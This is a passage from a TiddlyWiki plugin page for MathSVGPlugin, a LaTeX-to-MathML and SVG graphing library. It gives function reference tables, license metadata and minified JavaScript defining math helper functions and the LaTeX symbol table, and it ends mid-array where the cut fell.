++++ rect(p,q,options)
|!Argument|!Default value|!Unit|
|''p''| | IU|
|''q''| | IU|
|>|>|stroke options|
|>|>|fill options|
====
++++ text(p,st,options)
|!Argument|!Default value|!Unit|
|''p''| | IU|
|''st''| | IU|
|pos| E||
|fontsize| 12|?|
|fontstyle| normal|?|
|fontfamily| serif||
|fontweight| normal||
|>|>|stroke options|
|>|>|fill options|
====
image(url,options)
dot(p,options)
plot(fun,options)
area(fun1,fun2,options)
polarPlot(fun,options)
parametricPlot(fun1,fun2,options)
slopeField(fun,options)
!Transformations
rotate(id,angle,options)
translate(id,delta,options)
!Dynamic features
setAction(evt,fun)
getPosition(evt)
getAngle(evt,p)
getDistance(evt,p)
setText(st,id)
updatePicture()
/***
|''Name:''|MathSVGPlugin|
|''Description:''|This plugin translates a subset of the LaTeX math notation to MathML with a customisable image fallback when MathML is not supported. It also provides an easy way to produce mathematical SVG graphics with dynamical features and animation.|
|''Version:''|1.2.2|
|''Date:''|2009-06-25|
|''Source:''|http://www.math.ist.utl.pt/~psoares/mathsvg.html|
|''Author:''|Paulo Soares|
|''License:''|[[GNU Lesser General Public License|http://www.gnu.org/licences/lgpl.html]]|
|''~CoreVersion:''|2.5.0|
!Original copyright notice
{{{
ASCIIMathML.js
==============
Version 2.1 Oct 8, 2008, (c) Peter Jipsen http://www.chapman.edu/~jipsen
This version extends ASCIIMathML.js with LaTeXMathML.js and ASCIIsvg.js.
Latest version at http://www.chapman.edu/~jipsen/mathml/ASCIIMathML.js
If you use it on a webpage, please send the URL to jipsen@chapman.edu
The LaTeXMathML modifications were made by Douglas Woodall, June 2006.
(for details see header on the LaTeXMathML part in middle of file)
Extensive clean-up and improvements by Paulo Soares, Oct 2007.
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public License as published by
the Free Software Foundation; either version 2.1 of the License, or (at
your option) any later version.
This program is distributed in the hope that it will be useful, but WITHOUT
ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License
(at http://www.gnu.org/licences/lgpl.html) for more details.
}}}
!~MathSVG code (minified)
***/
//{{{
Math.sec=function(a){return 1/Math.cos(a)};Math.csc=function(a){return 1/Math.sin(a)};Math.cot=function(a){return 1/Math.tan(a)};Math.asec=function(a){return Math.acos(1/a)};Math.acsc=function(a){return Math.asin(1/a)};Math.acot=function(a){return Math.atan(1/a)};Math.sinh=function(a){return(Math.exp(a)-Math.exp(-a))/2};Math.cosh=function(a){return(Math.exp(a)+Math.exp(-a))/2};Math.tanh=function(a){return(Math.exp(a)-Math.exp(-a))/(Math.exp(a)+Math.exp(-a))};Math.sech=function(a){return 1/Math.cosh(a)};Math.csch=function(a){return 1/Math.sinh(a)};Math.coth=function(a){return 1/Math.tanh(a)};Math.asinh=function(a){return Math.log(a+Math.sqrt(a*a+1))};Math.acosh=function(a){return Math.log(a+Math.sqrt(a*a-1))};Math.atanh=function(a){return Math.log((1+a)/(1-a))/2};Math.sech=function(a){return 1/Math.cosh(a)};Math.csch=function(a){return 1/Math.sinh(a)};Math.coth=function(a){return 1/Math.tanh(a)};Math.asech=function(a){return Math.acosh(1/a)};Math.acsch=function(a){return Math.asinh(1/a)};Math.acoth=function(a){return Math.atanh(1/a)};Math.sign=function(a){return(a===0?0:(a<0?-1:1))};Math.step=function(a,c,b){return(a<0?(b?b:0):(c?c:1))};Math.root=function(a,b){return Math.pow(a,1/b)};Math.factorial=function(b){if(b===0){return 1}if(b<0){if((b%1)===0){return}if(b>-1){return Math.factorial(b+1)/(b+1)}return -Math.PI/(Math.factorial(-1-b)*Math.sin(Math.PI*b))}var a=b;if((b%1)===0){while(b>1){b=b-1;a=a*b}}else{a=Math.exp((b+0.5)*Math.log(b+1)-b-b*(0.1121105+b*0.08106103)/(1.452342+b*(2.410858+b)))}return a};Math.Gamma=function(a){return Math.factorial(a-1)};Math.Beta=function(a,b){return Math.Gamma(a)*Math.Gamma(b)/Math.Gamma(a+b)};Math.C=function(a,b){var c=1/((a+1)*Math.Beta(b+1,a-b+1));return c};Math.truncate=function(a,c){var b=c||0;return Math.floor(a*Math.pow(10,b))/Math.pow(10,b)};Math.randomString=function(a,g){var f=(g||"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz").split("");var e=[],c=Math.random;var d=f.length;for(var b=0;b<a;b++){e[b]=f[0|c()*d]}return e.join("")};Math.runif=function(d,c,f){var e=f||0;return Math.truncate((c+Math.pow(10,-e)-d)*Math.random()+d,e)};Math.rnormal=function(a,b){a=a||0;b=b||1;var d=0,c=0;while(d*c===0){d=Math.random();c=Math.random()}return b*(Math.sqrt(-2*Math.log(d))*Math.cos(2*Math.PI*c))+a};var MSVG=function(j){var s="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";var q=["\uD835\uDC9C","\u212C","\uD835\uDC9E","\uD835\uDC9F","\u2130","\u2131","\uD835\uDCA2","\u210B","\u2110","\uD835\uDCA5","\uD835\uDCA6","\u2112","\u2133","\uD835\uDCA9","\uD835\uDCAA","\uD835\uDCAB","\uD835\uDCAC","\u211B","\uD835\uDCAE","\uD835\uDCAF","\uD835\uDCB0","\uD835\uDCB1","\uD835\uDCB2","\uD835\uDCB3","\uD835\uDCB4","\uD835\uDCB5","\uD835\uDCB6","\uD835\uDCB7","\uD835\uDCB8","\uD835\uDCB9","\u212F","\uD835\uDCBB","\u210A","\uD835\uDCBD","\uD835\uDCBE","\uD835\uDCBF","\uD835\uDCC0","\uD835\uDCC1","\uD835\uDCC2","\uD835\uDCC3","\u2134","\uD835\uDCC5","\uD835\uDCC6","\uD835\uDCC7","\uD835\uDCC8","\uD835\uDCC9","\uD835\uDCCA","\uD835\uDCCB","\uD835\uDCCC","\uD835\uDCCD","\uD835\uDCCE","\uD835\uDCCF"];var B=["\uD835\uDD04","\uD835\uDD05","\u212D","\uD835\uDD07","\uD835\uDD08","\uD835\uDD09","\uD835\uDD0A","\u210C","\u2111","\uD835\uDD0D","\uD835\uDD0E","\uD835\uDD0F","\uD835\uDD10","\uD835\uDD11","\uD835\uDD12","\uD835\uDD13","\uD835\uDD14","\u211C","\uD835\uDD16","\uD835\uDD17","\uD835\uDD18","\uD835\uDD19","\uD835\uDD1A","\uD835\uDD1B","\uD835\uDD1C","\u2128","\uD835\uDD1E","\uD835\uDD1F","\uD835\uDD20","\uD835\uDD21","\uD835\uDD22","\uD835\uDD23","\uD835\uDD24","\uD835\uDD25","\uD835\uDD26","\uD835\uDD27","\uD835\uDD28","\uD835\uDD29","\uD835\uDD2A","\uD835\uDD2B","\uD835\uDD2C","\uD835\uDD2D","\uD835\uDD2E","\uD835\uDD2F","\uD835\uDD30","\uD835\uDD31","\uD835\uDD32","\uD835\uDD33","\uD835\uDD34","\uD835\uDD35","\uD835\uDD36","\uD835\uDD37"];var p=["\uD835\uDD38","\uD835\uDD39","\u2102","\uD835\uDD3B","\uD835\uDD3C","\uD835\uDD3D","\uD835\uDD3E","\u210D","\uD835\uDD40","\uD835\uDD41","\uD835\uDD42","\uD835\uDD43","\uD835\uDD44","\u2115","\uD835\uDD46","\u2119","\u211A","\u211D","\uD835\uDD4A","\uD835\uDD4B","\uD835\uDD4C","\uD835\uDD4D","\uD835\uDD4E","\uD835\uDD4F","\uD835\uDD50","\u2124","\uD835\uDD52","\uD835\uDD53","\uD835\uDD54","\uD835\uDD55","\uD835\uDD56","\uD835\uDD57","\uD835\uDD58","\uD835\uDD59","\uD835\uDD5A","\uD835\uDD5B","\uD835\uDD5C","\uD835\uDD5D","\uD835\uDD5E","\uD835\uDD5F","\uD835\uDD60","\uD835\uDD61","\uD835\uDD62","\uD835\uDD63","\uD835\uDD64","\uD835\uDD65","\uD835\uDD66","\uD835\uDD67","\uD835\uDD68","\uD835\uDD69","\uD835\uDD6A","\uD835\uDD6B"];var x=0,b=1,c=2,m=3,v=4,d=5,n=6,o=7,l=8,e=9,z=10,y=11,g=13,i=14;var a=[{input:"\\varepsilon",tag:"mi",output:"\u025B",ttype:x},{input:"\\varsigma",tag:"mi",output:"\u03C2",ttype:x},{input:"\\vartheta",tag:"mi",output:"\u03D1",ttype:x},{input:"\\varphi",tag:"mi",output:"\u03D5",ttype:x},{input:"\\varpi",tag:"mi",output:"\u03D6",ttype:x},{input:"\\varrho",tag:"mi",output:"\u03F1",ttype:x},{input:"\\alpha",tag:"mi",output:"\u03B1",ttype:x},{input:"\\beta",tag:"mi",output:"\u03B2",ttype:x},{input:"\\gamma",tag:"mi",output:"\u03B3",ttype:x},{input:"\\delta",tag:"mi",output:"\u03B4",ttype:x},{input:"\\epsilon",tag:"mi",output:"\u03B5",ttype:x},{input:"\\zeta",tag:"mi",output:"\u03B6",ttype:x},{input:"\\eta",tag:"mi",output:"\u03B7",ttype:x},{input:"\\theta",tag:"mi",output:"\u03B8",ttype:x},{input:"\\iota",tag:"mi",output:"\u03B9",ttype:x},{input:"\\kappa",tag:"mi",output:"\u03BA",ttype:x},{input:"\\lambda",tag:"mi",output:"\u03BB",ttype:x},{input:"\\mu",tag:"mi",output:"\u03BC",ttype:x},{input:"\\nu",tag:"mi",output:"\u03BD",ttype:x},{input:"\\xi",tag:"mi",output:"\u03BE",ttype:x},{input:"\\omicron",tag:"mi",output:"\u03BF",ttype:x},{input:"\\pi",tag:"mi",output:"\u03C0",ttype:x},{input:"\\rho",tag:"mi",output:"\u03C1",ttype:x},{input:"\\sigma",tag:"mi",output:"\u03C3",ttype:x},{input:"\\tau",tag:"mi",output:"\u03C4",ttype:x},{input:"\\upsilon",tag:"mi",output:"\u03C5",ttype:x},{input:"\\phi",tag:"mi",output:"\u03C6",ttype:x},{input:"\\chi",tag:"mi",output:"\u03C7",ttype:x},{input:"\\psi",tag:"mi",output:"\u03C8",ttype:x},{input:"\\omega",tag:"mi",output:"\u03C9",ttype:x},{input:"\\Alpha",tag:"mo",output:"\u0391",ttype:x},{input:"\\Beta",tag:"mo",output:"\u0392",ttype:x},{input:"\\Gamma",tag:"mo",output:"\u0393",ttype:x},{input:"\\Delta",tag:"mo",output:"\u0394",ttype:x},{input:"\\Epsilon",tag:"mo",output:"\u0395",ttype:x},{input:"\\Zeta",tag:"mo",output:"\u0396",ttype:x},{input:"\\Eta",tag:"mo",output:"\u0397",ttype:x},{input:"\\Theta",tag:"mo",output:"\u0398",ttype:x},{input:"\\Iota",tag:"mo",output:"\u0399",ttype:x},{input:"\\Kappa",tag:"mo",output:"\u039A",ttype:x},{input:"\\Lambda",tag:"mo",output:"\u039B",ttype:x},{input:"\\Mu",tag:"mo",output:"\u039C",ttype:x},{input:"\\Nu",tag:"mo",output:"\u039D",ttype:x},{input:"\\Xi",tag:"mo",output:"\u039E",ttype:x},{input:"\\Omicron",tag:"mo",output:"\u039F",ttype:x},{input:"\\Pi",tag:"mo",output:"\u03A0",ttype:x},{input:"\\Rho",tag:"mo",output:"\u03A1",ttype:x},{input:"\\Sigma",tag:"mo",output:"\u03A3",ttype:x},{input:"\\Tau",tag:"mo",output:"\u03A4",ttype:x},{input:"\\Upsilon",tag:"mo",output:"\u03A5",ttype:x},{input:"\\Phi",tag:"mo",output:"\u03A6",ttype:x},{input:"\\Chi",tag:"mo",output:"\u03A7",ttype:x},{input:"\\Psi",tag:"mo",output:"\u03A8",ttype:x},{input:"\\Omega",tag:"mo",output:"\u03A9",ttype:x},{input:"\\frac12",tag:"mo",output:"\u00BD",ttype:x},{input:"\\frac14",tag:"mo",output:"\u00BC",ttype:x},{input:"\\frac34",tag:"mo",output:"\u00BE",ttype:x},{input:"\\frac13",tag:"mo",output:"\u2153",ttype:x},{input:"\\frac23",tag:"mo",output:"\u2154",ttype:x},{input:"\\frac15",tag:"mo",output:"\u2155",ttype:x},{input:"\\frac25",tag:"mo",output:"\u2156",ttype:x},{input:"\\frac35",tag:"mo",output:"\u2157",ttype:x},{input:"\\frac45",tag:"mo",output:"\u2158",ttype:x},{input:"\\frac16",tag:"mo",output:"\u2159",ttype:x},{input:"\\frac56",tag:"mo",output:"\u215A",ttype:x},{input:"\\frac18",tag:"mo",output:"\u215B",ttype:x},{input:"\\frac38",tag:"mo",output:"\u215C",ttype:x},{input:"\\frac58",tag:"mo",output:"\u215D",ttype:x},{input:"\\frac78",tag:"mo",output:"\u215E",ttype:x},{input:"\\pm",tag:"mo",output:"\u00B1",ttype:x},{input:"\\mp",tag:"mo",output:"\u2213",ttype:x},{input:"\\triangleleft",tag:"mo",output:"\u22B2",ttype:x},{input:"\\triangleright",tag:"mo",output:"\u22B3",ttype:x},{input:"\\cdot",tag:"mo",output:"\u22C5",ttype:x},{input:"\\star",tag:"mo",output:"\u22C6",ttype:x},{input:"\\ast",tag:"mo",output:"\u002A",ttype:x},{input:"\\times",tag:"mo",output:"\u00D7",ttype:x},{input:"\\div",tag:"mo",output:"\u00F7",ttype:x},{input:"\\circ",tag:"mo",output:"\u2218",ttype:x},{input:"\\bullet",tag:"mo",output:"\u2022",ttype:x},{input:"\\oplus",tag:"mo",output:"\u2295",ttype:x},{input:"\\ominus",tag:"mo",output:"\u2296",ttype:x},{input:"\\otimes",tag:"mo",output:"\u2297",ttype:x},{input:"\\bigcirc",tag:"mo",output:"\u25CB",ttype:x},{input:"\\oslash",tag:"mo",output:"\u2298",ttype:x},{input:"\\odot",tag:"mo",output:"\u2299",ttype:x},{input:"\\land",tag:"mo",output:"\u2227",ttype:x},{input:"\\wedge",tag:"mo",output:"\u2227",ttype:x},{input:"\\lor",tag:"mo",output:"\u2228",ttype:x},{input:"\\vee",tag:"mo",output:"\u2228",ttype:x},{input:"\\cap",tag:"mo",output:"\u2229",ttype:x},{input:"\\cup",tag:"mo",output:"\u222A",ttype:x},{input:"\\sqcap",tag:"mo",output:"\u2293",ttype:x},{input:"\\sqcup",tag:"mo",output:"\u2294",ttype:x},{input:"\\uplus",tag:"mo",output:"\u228E",ttype:x},{input:"\\amalg",tag:"mo",output:"\u2210",ttype:x},{input:"\\bigtriangleup",tag:"mo",output:"\u25B3",ttype:x},{input:"\\bigtriangledown",tag:"mo",output:"\u25BD",ttype:x},{input:"\\dag",tag:"mo",output:"\u2020",ttype:x},{input:"\\dagger",tag:"mo",output:"\u2020",ttype:x},{input:"\\ddag",tag:"mo",output:"\u2021",ttype:x},{input:"\\ddagger",tag:"mo",output:"\u2021",ttype:x},{input:"\\lhd",tag:"mo",output:"\u22B2",ttype:x},{input:"\\rhd",tag:"mo",output:"\u22B3",ttype:x},{input:"\\unlhd",tag:"mo",output:"\u22B4",ttype:x},{input:"\\unrhd",tag:"mo",output:"\u22B5",ttype:x},{input:"\\sum",tag:"mo",output:"\u2211",ttype:o},{input:"\\prod",tag:"mo",output:"\u220F",ttype:o},{input:"\\bigcap",tag:"mo",output:"\u22C2",ttype:o},{input:"\\bigcup",tag:"mo",output:"\u22C3",ttype:o},{input:"\\bigwedge",tag:"mo",output:"\u22C0",ttype:o},{input:"\\bigvee",tag:"mo",output:"\u22C1",ttype:o},{input:"\\bigsqcap",tag:"mo",output:"\u2A05",ttype:o},{input:"\\bigsqcup",tag:"mo",output:"\u2A06",ttype:o},{input:"\\coprod",tag:"mo",output:"\u2210",ttype:o},{input:"\\bigoplus",tag:"mo",output:"\u2A01",ttype:o},{input:"\\bigotimes",tag:"mo",output:"\u2A02",ttype:o},{input:"\\bigodot",tag:"mo",output:"\u2A00",ttype:o},{input:"\\biguplus",tag:"mo",output:"\u2A04",ttype:o},{input:"\\int",tag:"mo",output:"\u222B",ttype:x},{input:"\\oint",tag:"mo",output:"\u222E",ttype:x},{input:":=",tag:"mo",output:":=",ttype:x},{input:"\\lt",tag:"mo",output:"<",ttype:x},{input:"\\gt",tag:"mo",output:">",ttype:x},{input:"\\ne",tag:"mo",output:"\u2260",ttype:x},{input:"\\neq",tag:"mo",output:"\u2260",ttype:x},{input:"\\le",tag:"mo",output:"\u2264",ttype:x},{input:"\\leq",tag:"mo",output:"\u2264",ttype:x},{input:"\\leqslant",tag:"mo",output:"\u2264",ttype:x},{input:"\\ge",tag:"mo",output:"\u2265",ttype:x},{input:"\\geq",tag:"mo",output:"\u2265",ttype:x},{input:"\\geqslant",tag:"mo",output:"\u2265",ttype:x},{input:"\\equiv",tag:"mo",output:"\u2261",ttype:x},{input:"\\ll",tag:"mo",output:"\u226A",ttype:x},{input:"\\gg",tag:"mo",output:"\u226B",ttype:x},{input:"\\doteq",tag:"mo",output:"\u2250",ttype:x},{input:"\\prec",tag:"mo",output:"\u227A",ttype:x},{input:"\\succ",tag:"mo",output:"\u227B",ttype:x},{input:"\\preceq",tag:"mo",output:"\u227C",ttype:x},{input:"\\succeq",tag:"mo",output:"\u227D",ttype:x},{input:"\\subset",tag:"mo",output:"\u2282",ttype:x},{input:"\\supset",tag:"mo",output:"\u2283",ttype:x},{input:"\\subseteq",tag:"mo",output:"\u2286",ttype:x},{input:"\\supseteq",tag:"mo",output:"\u2287",ttype:x},{input:"\\sqsubset",tag:"mo",output:"\u228F",ttype:x},{input:"\\sqsupset",tag:"mo",output:"\u2290",ttype:x},{input:"\\sqsubseteq",tag:"mo",output:"\u2291",ttype:x},{input:"\\sqsupseteq",tag:"mo",output:"\u2292",ttype:x},{input:"\\sim",tag:"mo",output:"\u223C",ttype:x},{input:"\\simeq",tag:"mo",output:"\u2243",ttype:x},{input:"\\approx",tag:"mo",output:"\u2248",ttype:x},{input:"\\cong",tag:"mo",output:"\u2245",ttype:x},{input:"\\Join",tag:"mo",output:"\u22C8",ttype:x},{input:"\\bowtie",tag:"mo",output:"\u22C8",ttype:x},{input:"\\in",tag:"mo",output:"\u2208",ttype:x},{input:"\\ni",tag:"mo",output:"\u220B",ttype:x},{input:"\\owns",tag:"mo",output:"\u220B",ttype:x},{input:"\\propto",tag:"mo",output:"\u221D",ttype:x},{input:"\\vdash",tag:"mo",output:"\u22A2",ttype:x},{input:"\\dashv",tag:"mo",output:"\u22A3",ttype:x},{input:"\\models",tag:"mo",output:"\u22A8",ttype:x},{input:"\\perp",tag:"mo",output:"\u22A5",ttype:x},{input:"\\smile",tag:"mo",output:"\u2323",ttype:x},{input:"\\frown",tag:"mo",output:"\u2322",ttype:x},{input:"\\asymp",tag:"mo",output:"\u224D",ttype:x},{input:"\\notin",tag:"mo",output:"\u2209",ttype:x},{input:"\\begin{eqnarray}",output:"X",ttype:i,invisible:true},{input:"\\begin{array}",output:"X",ttype:i,invisible:true},{input:"\\\\",output:"}&{",ttype:l},{input:"\\end{eqnarray}",output:"}}",ttype:l},{input:"\\end{array}",output:"}}",ttype:l},{input:"\\big",tag:"mo",output:"X",atval:"1.2",ttype:y},{input:"\\Big",tag:"mo",output:"X",atval:"1.8",ttype:y},{input:"\\bigg",tag:"mo",output:"X",atval:"2.3",ttype:y},{input:"\\Bigg",tag:"mo",output:"X",atval:"2.9",ttype:y},{input:"\\left",tag:"mo",output:"X",ttype:v},{input:"\\right",tag:"mo",output:"X",ttype:d},{input:"{",output:"{",ttype:v,invisible:true},{input:"}",output:"}",ttype:d,invisible:true},{input:"(",tag:"mo",output:"(",atval:"1",ttype:g},{input:"[",tag:"mo",output:"[",atval:"1",ttype:g},{input:"\\lbrack",tag:"mo",output:"[",atval:"1",ttype:g},{input:"\\{",tag:"mo",output:"{",atval:"1",ttype:g},{input:"\\lbrace",tag:"mo",output:"{",atval:"1",ttype:g},{input:"\\langle",tag:"mo",output:"\u2329",atval:"1",ttype:g},{input:"\\lfloor",tag:"mo",output:"\u230A",atval:"1",ttype:g},{input:"\\lceil",tag:"mo",output:"\u2308",atval:"1",ttype:g},{input:")",tag:"mo",output:")",rtag:"mi",atval:"1",ttype:g},{input:"]",tag:"mo",output:"]",rtag:"mi",atval:"1",ttype:g},{input:"\\rbrack",tag:"mo",output:"]",rtag:"mi",atval:"1",ttype:g},{input:"\\}",tag:"mo",output:"}",rtag:"mi",atval:"1",ttype:g},{input:"\\rbrace",tag:"mo",output:"}",rtag:"mi",atval:"1",ttype:g},{input:"\\rangle",tag:"mo",output:"\u232A",rtag:"mi",atval:"1",ttype:g},{input:"\\rfloor",tag:"mo",output:"\u230B",rtag:"mi",atval:"1",ttype:g},{input:"\\rceil",tag:"mo",output:"\u2309",rtag:"mi",atval:"1",ttype:g},{input:"|",tag:"mo",output:"\u2223",atval:"1",ttype:g},{input:"\\|",tag:"mo",output:"\u2225",atval:"1",ttype:g},{input:"\\vert",tag:"mo",output:"\u2223",atval:"1",ttype:g},{input:"\\Vert",tag:"mo",output:"\u2225",atval:"1",ttype:g},{input:"\\mid",tag:"mo",output:"\u2223",atval:"1",ttype:g},{input:"\\parallel",tag:"mo",output:"\u2225",atval:"1",ttype:g},{input:"/",tag:"mo",output:"/",atval:"1.01",ttype:g},{input:"\\backslash",tag:"mo",output:"\u2216",atval:"1",ttype:g},{input:"\\setminus",tag:"mo",output:"\\",ttype:x},{input:"\\!",tag:"mspace",atname:"width",atval:"-0.167em",ttype:n},{input:"\\,",tag:"mspace",atname:"width",atval:"0.167em",ttype:n},{input:"\\>",tag:"mspace",atname:"width",atval:"0.222em",ttype:n},{input:"\\:",tag:"mspace",atname:"width",atval:"0.222em",ttype:n},{input:"\\;",tag:"mspace",atname:"width",atval:"0.278em",ttype:n},{input:"~",tag:"mspace",atname:"width",atval:"0.333em",ttype:n},{input:"\\quad",tag:"mspace",atname:"width",atval:"1em",ttype:n},{input:"\\qquad",tag:"mspace",atname:"width",atval:"2em",ttype:n},{input:"\\prime",tag:"mo",output:"\u2032",ttype:x},{input:"'",tag:"mo",output:"\u02B9",ttype:x},{input:"''",tag:"mo",output:"\u02BA",ttype:x},{input:"'''",tag:"mo",output:"\u2034",ttype:x},{input:"''''",tag:"mo",output:"\u2057",ttype:x},{input:"\\ldots",tag:"mo",output:"\u2026",ttype:x},{input:"\\cdots",tag:"mo",output:"\u22EF",ttype:x},{input:"\\vdots",tag:"mo",output:"\u22EE",ttype:x},{input:"\\ddots",tag:"mo",output:"\u22F1",ttype:x},{input:"\\forall",tag:"mo",output:"\u2200",ttype:x},{input:"\\exists",tag:"mo",output:"\u2203",ttype:x},{input:"\\Re",tag:"mo",output:"\u211C",ttype:x},{input:"\\Im",tag:"mo",output:"\u2111",ttype:x},{input:"\\aleph",tag:"mo",output:"\u2135",ttype:x},{input:"\\hbar",tag:"mo",output:"\u210F",ttype:x},{input:"\\ell",tag:"mo",output:"\u2113",ttype:x},{input:"\\wp",tag:"mo",output:"\u2118",ttype:x},{input:"\\emptyset",tag:"mo",output:"\u2205",ttype:x},{input:"\\infty",tag:"mo",output:"\u221E",ttype:x},{input:"\\surd",tag:"mo",output:"\\sqrt{}",ttype:l},{input:"\\partial",tag:"mo",output:"\u2202",ttype:x},{input:"\\nabla",tag:"mo",output:"\u2207",ttype:x},{input:"\\triangle",tag:"mo",output:"\u25B3",ttype:x},{input:"\\therefore",tag:"mo",output:"\u2234",ttype:x},{input:"\\angle",tag:"mo",output:"\u2220",ttype:x},{input:"\\diamond",tag:"mo",output:"\u22C4",ttype:x},{input:"\\Diamond",tag:"mo",output:"\u25C7",ttype:x},{input:"\\neg",tag:"mo",output:"\u00AC",ttype:x},{input:"\\lnot",tag:"mo",output:"\u00AC",ttype:x},{input:"\\bot",tag:"mo",output:"\u22A5",ttype:x},{input:"\\top",tag:"mo",output:"\u22A4",ttype:x},{input:"\\square",tag:"mo",output:"\u25AB",ttype:x},{input:"\\Box",tag:"mo",output:"\u25A1",ttype:x},{input:"\\wr",tag:"mo",output:"\u2240",ttype:x},{input:"\\arccos",tag:"mi",output:"arccos",ttype:b,func:true},{input:"\\arcsin",tag:"mi",output:"arcsin",ttype:b,func:true},{input:"\\arctan",tag:"mi",output:"arctan",ttype:b,func:true},{input:"\\arg",tag:"mi",output:"arg",ttype:b,func:true},{input:"\\cos",tag:"mi",output:"cos",ttype:b,func:true},{input:"\\cosh",tag:"mi",output:"cosh",ttype:b,func:true},{input:"\\cot",tag:"mi",output:"cot",ttype:b,func:true},{input:"\\coth",tag:"mi",output:"coth",ttype:b,func:true},{input:"\\csc",tag:"mi",output:"csc",ttype:b,func:true},{input:"\\deg",tag:"mi",output:"deg",ttype:b,func:true},{input:"\\det",tag:"mi",output:"det",ttype:b,func:true},{input:"\\dim",tag:"mi",output:"dim",ttype:b,func:true},{input:"\\exp",tag:"mi",output:"exp",ttype:b,func:true},{input:"\\gcd",tag:"mi",output:"gcd",ttype:b,func:true},{input:"\\hom",tag:"mi",output:"hom",ttype:b,func:true},{input:"\\inf",tag:"mo",output:"inf",ttype:o},{input:"\\ker",tag:"mi",output:"ker",ttype:b,func:true},{input:"\\lg",tag:"mi",output:"lg",ttype:b,func:true},{input:"\\lim",tag:"mo",output:"lim",ttype:o},{input:"\\liminf",tag:"mo",output:"liminf",ttype:o},{input:"\\limsup",tag:"mo",output:"limsup",ttype:o},{input:"\\ln",tag:"mi",output:"ln",ttype:b,func:true},{input:"\\log",tag:"mi",output:"log",ttype:b,func:true},{input:"\\max",tag:"mo",output:"max",ttype:o},{input:"\\min",tag:"mo",output:"min",ttype:o},{input:"\\Pr",tag:"mi",output:"Pr",ttype:b,func:true},{input:"\\sec",tag:"mi",output:"sec",ttype:b,func:true},{input:"\\sin",tag:"mi",output:"sin",ttype:b,func:true},{input:"\\sinh",tag:"mi",output:"sinh",ttype:b,func:true},{input:"\\sup",tag:"mo",output:"sup",ttype:o},{input:"\\tan",tag:"mi",output:"tan",ttype:b,func:true},{input:"\\tanh",tag:"mi",output:"tanh",ttype:b,func:true},{input:"\\gets",tag:"mo",output:"\u2190",ttype:x},{input:"\\leftarrow",tag:"mo",output:"\u2190",ttype:x},{input:"\\to",tag:"mo",output:"\u2192",ttype:x},{input:"\\rightarrow",tag:"mo",output:"\u2192",ttype:x},{input:"\\leftrightarrow",tag:"mo",output:"\u2194",ttype:x},{input:"\\uparrow",tag:"mo",output:"\u2191",ttype:x},{input:"\\downarrow",tag:"mo",output:"\u2193",ttype:x},{input:"\\updownarrow",tag:"mo",output:"\u2195",ttype:x},{input:"\\Leftarrow",tag:"mo",output:"\u21D0",ttype:x},{input:"\\Rightarrow",tag:"mo",output:"\u21D2",ttype:x},{input:"\\Leftrightarrow",tag:"mo",output:"\u21D4",ttype:x},{input:"\\iff",tag:"mo",output:"~\\Longleftrightarrow~",ttype:l},{input:"\\Uparrow",tag:"mo",output:"\u21D1",ttype:x},{input:"\\Downarrow",tag:"mo",output:"\u21D3",ttype:x},{input:"\\Updownarrow",tag:"mo",output:"\u21D5",ttype:x},{input:"\\mapsto",tag:"mo",output:"\u21A6",ttype:x},{input:"\\longleftarrow",tag:"mo",output:"\u27F5",ttype:x},{input:"\\longrightarrow",tag:"mo",output:"\u27F6",ttype:x},{input:"\\longleftrightarrow",tag:"mo",output:"\u27F7",ttype:x},{input:"\\Longleftarrow",tag:"mo",output:"\u27F8",ttype:x},{input:"\\Longrightarrow",tag:"mo",output:"\u27F9",ttype:x},{input:"\\Longleftrightarrow",tag:"mo",output:"\u27FA",ttype:x},{input:"\\longmapsto",tag:"mo",output:"\u27FC",ttype:x},{input:"\\sqrt",tag:"msqrt",output:"sqrt",ttype:b},{input:"\\root",tag:"mroot",output:"root",ttype:c},{input:"\\frac",tag:"mfrac",output:"/",ttype:c},{input:"\\stackrel",tag:"mover",output:"stackrel",ttype:c},{input:"\\atop",tag:"mfrac",output:"",ttype:m},{input:"\\choose",tag:"mfrac",output:"",ttype:m},{input:"_",tag:"msub",output:"_",ttype:m},{input:"^",tag:"msup",output:"^",ttype:m},{input:"\\mbox",tag:"mtext",output:"mbox",ttype:z},{input:"\\acute",tag:"mover",output:"\u00B4",ttype:b,acc:true},{input:"\\grave",tag:"mover",output:"\u0060",ttype:b,acc:true},{input:"\\breve",tag:"mover",output:"\u02D8",ttype:b,acc:true},{input:"\\check",tag:"mover",output:"\u02C7",ttype:b,acc:true},{input:"\\dot",tag:"mover",output:".",ttype:b,acc:true},{input:"\\ddot",tag:"mover",output:"..",ttype:b,acc:true},{input:"\\mathring",tag:"mover",output:"\u00B0",ttype:b,acc:true},{input:"\\vec",tag:"mover",output:"\u20D7",ttype:b,acc:true},{input:"\\overrightarrow",tag:"mover",output:"\u20D7",ttype:b,acc:true},{input:"\\overleftarrow",tag:"mover",output:"\u20D6",ttype:b,acc:true},{input:"\\hat",tag:"mover",output:"\u005E",ttype:b,acc:true},{input:"\\widehat",tag:"mover",output:"\u0302",ttype:b,acc:true},{input:"\\tilde",tag:"mover",output:"~",ttype:b,acc:true},{input:"\\widetilde",tag:"mover",output:"\u02DC",ttype:b,acc:true},{input:"\\bar",tag:"mover",output:"\u203E",ttype:b,acc:true},{input:"\\overbrace",tag:"mover",output:"\u23B4",ttype:b,acc:true},{input:"\\overline",tag:"mover",output:"\u00AF",ttype:b,acc:true},{input:"\\underbrace",tag:"munder",output:"\u23B5",ttype:b,acc:true},{input:"\\underline",tag:"munder",output:"\u00AF",ttype:b,acc:true},{input:"\\displaystyle",tag:"mstyle",atname:"displaystyle",atval:"true",ttype:b},{input:"\\textstyle",tag:"mstyle",atname:"displaystyle",atval:"false",ttype:b},{input:"\\scriptstyle",tag:"mstyle",atname:"scriptlevel",atval:"1",ttype:b},{input:"\\scriptscriptstyle",tag:"mstyle",atname:"scriptlevel",atval:"2",ttype:b},{input:"\\mathrm",tag:"mtext",output:"text",ttype:z},{input:"\\textrm",tag:"mtext",output:"text",ttype:z},{input:"\\mathbf",tag:"mstyle",atname:"mathvariant",atval:"bold",ttype:b,codes:s},{input:"\\textbf",tag:"mstyle",atname:"mathvariant",atval:"bold",ttype:b,codes:s},{input:"\\mathit",tag:"mstyle",atname:"mathvariant",atval:"italic",ttype:b